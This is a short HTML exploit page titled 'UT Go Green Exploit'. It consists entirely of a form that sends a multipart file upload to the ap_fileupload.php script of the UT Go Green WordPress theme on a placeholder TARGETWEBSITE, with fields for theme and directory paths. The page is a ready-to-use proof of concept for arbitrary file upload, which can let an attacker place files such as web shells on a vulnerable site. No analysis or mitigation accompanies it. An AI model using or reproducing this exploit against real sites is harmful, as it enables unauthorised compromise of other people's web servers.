go green csrf

<h1>UT Go Green Exploit</h1>
<br>
<form enctype="multipart/form-data"
action="http://TARGETWEBSITE/wp-content/themes/ut-gogreen/addpress/includes/ap_fileupload.php" method="post">
Home Url: <input name="homeurl" type="text" value="http://" />
</br>
Template: <input name="template" type="text" value="ut-gogreen">
</br>
Dir1: <input name="themeroot" type="text" />
</br>
Dir2: <input name="dir" type="text" />
</br>
File: <input name="file_upload" type="file" /><br />
<input type="submit" value="upload" />
</form>